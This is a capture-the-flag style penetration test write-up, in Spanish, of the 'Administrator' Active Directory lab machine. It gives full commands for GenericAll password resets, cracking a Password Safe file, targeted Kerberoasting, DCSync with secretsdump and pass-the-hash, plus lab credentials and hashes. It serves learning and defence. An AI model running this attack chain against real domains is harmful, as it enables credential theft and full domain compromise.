

EVALUACIÓN DE SEGURIDAD OFENSIVA – PROYECTO ADMINISTRATOR (ACTIVE DIRECTORY / DCSYNC)

1. Cabecera Formal y Clasificación

Parámetro	Detalle
ID del Proyecto	SEC-RPT-AD-ADMIN-2025
Clasificación	TLP:CLEAR / Pública
Cliente / Entorno	Dominio Active Directory ADMINISTRATOR.HTB
Activo(s) en Alcance	dc.administrator.htb (10.129.59.38 / 10.129.61.6)
Tipo de Evaluación	Prueba de Penetración Interna / Auditoría de Delegación y Control de Acceso (ACLs)
Estado	Compromiso Crítico Validado / Extracción de Credenciales vía DCSync

2. Resumen Ejecutivo

La auditoría ofensiva realizada sobre el controlador de dominio ADMINISTRATOR.HTB (Windows Server 2022) confirmó fallos estructurales graves en el modelo de privilegios mínimos y delegación de control de objetos.

A partir de una cuenta de usuario corporativa inicial (Olivia), se encadenaron permisos excesivos de control total (GenericAll) para forzar cambios de contraseña vía RPC sobre cuentas intermedias (Michael y Benjamin). Esto expuso un servicio FTP anónimo con copias de respaldo de gestores de contraseñas (Password Safe), cuyas credenciales descifradas (emily) permitieron inyectar nombres de entidad de servicio (GenericWrite sobre SPN) en la cuenta ethan. Dicha cuenta disponía de derechos de replicación de directorios delegados erróneamente en la raíz del dominio (DCSync), lo que posibilitó la extracción remota del hash NT del Administrador y la toma de control absoluta de la infraestructura.

3. Matriz de Hallazgos y AfECCIÓN

Vulnerabilidad / Hallazgo	Criticidad	CVSS v3.1	OWASP / CWE	Mapeo MITRE ATT&CK
---------------------------	------------	-----------	-------------	--------------------

Asignación Indevida de Derechos de Replicación (DCSync)	Crítica	9.8	CWE-250 / OWASP A01:2021	T1003.006 - OS Credential Dumping: DCSync
Encadenamiento de Permisos GenericAll en Directorio Activo	Alta	7.5	CWE-732 / OWASP A04:2021	T1078.002 - Valid Accounts: Domain Accounts
Abuso de GenericWrite para TargetedKerberoasting	Alta	7.5	CWE-732 / OWASP A01:2021	T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
Almacenamiento de Bóvedas de Claves en Servidor FTP Inseguro	Alta	7.5	CWE-552 / OWASP A01:2021	T1552.001 - Unsecured Credentials: Credentials in Files

4. Detalle Técnico y Pruebas de Concepto (PoC)

4.1. Encadenamiento de Derechos GenericAll y Compromiso de Password Safe

Partiendo de las credenciales Olivia:ichliebedich, el mapeo de relaciones en BloodHound constató que Olivia mantenía permisos GenericAll sobre Michael, quien a su vez poseía permisos de cambio de contraseña sobre Benjamin. Se forzó el restablecimiento de contraseñas vía RPC:

```
net rpc password "Michael" "P@ssw0rd123!" -U
"administrator.htb/Olivia%ichliebedich" -S dc.administrator.htb
net rpc password "Benjamin" "P@ssw0rd123!" -U
"administrator.htb/Michael%P@ssw0rd123!" -S dc.administrator.htb
```

Con las credenciales de Benjamin, se auditó el servicio FTP accesible en el puerto TCP 21, localizando y transfiriendo el almacén de claves Backup.psafe3:

```
ftp 10.129.59.38
# Autenticación exitosa como Benjamin
ftp> get Backup.psafe3
```

Se procedió a la extracción del hash maestro de la base de datos y su ruptura por fuerza bruta:

```
pwsafe2john Backup.psafe3 > psafe_hash.txt
john psafe_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

```
# Contraseña maestra recuperada: tekieromucho
```

Al abrir la base de datos, se extrajeron credenciales operativas validadas mediante SMB:

Entidad: emily

Contraseña: UXLCI5iETUsIBoFVTj8yQFKoHjXmb

- **Impacto Técnico:** Compromiso en cascada de múltiples identidades y fuga masiva de contraseñas departamentales.
- **Remediación & Hardening:** Eliminar permisos GenericAll entre cuentas de usuario estándar y restringir o dismantelar el uso de protocolos no cifrados como FTP en servidores corporativos.

4.2. Inyección de SPN vía GenericWrite y Exfiltración Masiva vía DCSync

El usuario emily contaba con facultades GenericWrite sobre la cuenta del usuario ethan. Se utilizó bloodyAD para inyectar un valor en el atributo servicePrincipalName, habilitando la cuenta para ataques de Kerberoasting:

```
bloodyAD --host 10.129.59.197 -d administrator.htb -u 'emily' -p  
'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' set object ethan servicePrincipalName -v  
http/ethan.administrator.htb
```

Se solicitó el ticket de servicio y se ejecutó la ruptura del material criptográfico:

```
impacket-GetUserSPNs administrator.htb/emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb -  
dc-ip 10.129.59.197 -request  
hashcat -m 13100 -a 0 ethan_hash.txt /usr/share/wordlists/rockyou.txt  
# Contraseña recuperada: limpbizkit
```

La cuenta ethan disponía de los derechos extendidos DS-Replication-Get-Changes y DS-Replication-Get-Changes-All (DCSync) concedidos sobre la raíz del dominio. Se ejecutó la extracción integral de secretos de Active Directory:

```
impacket-secretsdump administrator.htb/ethan:limpbizkit@10.129.61.6
```

Salida representativa:

```
[*] Using the DRSUAPI method to get NTDS.DIT secrets
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d
```

2d2fd2e:::

Acceso interactivo mediante Pass-the-Hash y lectura de artefactos de validación:

```
evil-winrm -i 10.129.61.6 -u 'Administrator' -H  
'3dc553ce4b9fd20bd016e098d2d2fd2e'  
*Evil-WinRM* PS C:\Users\ethan\Desktop> type user.txt  
d3b30141273a6f3385e39d4d179ba32a  
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt  
f8176cf5bb6d3f7daaa1f5280d9a4f98
```

- **Impacto Técnico:** Exfiltración total de la base de datos de identidades y hashes NT mediante sincronización no autorizada de controladores de dominio.
- **Remediación & Hardening:**
 1. Revocar de forma inmediata los derechos extendidos de replicación (DS-Replication-*) asignados a usuarios que no pertenezcan al grupo exclusivo de Domain Controllers.
 2. Limitar estrictamente los permisos de escritura sobre atributos sensibles como servicePrincipalName.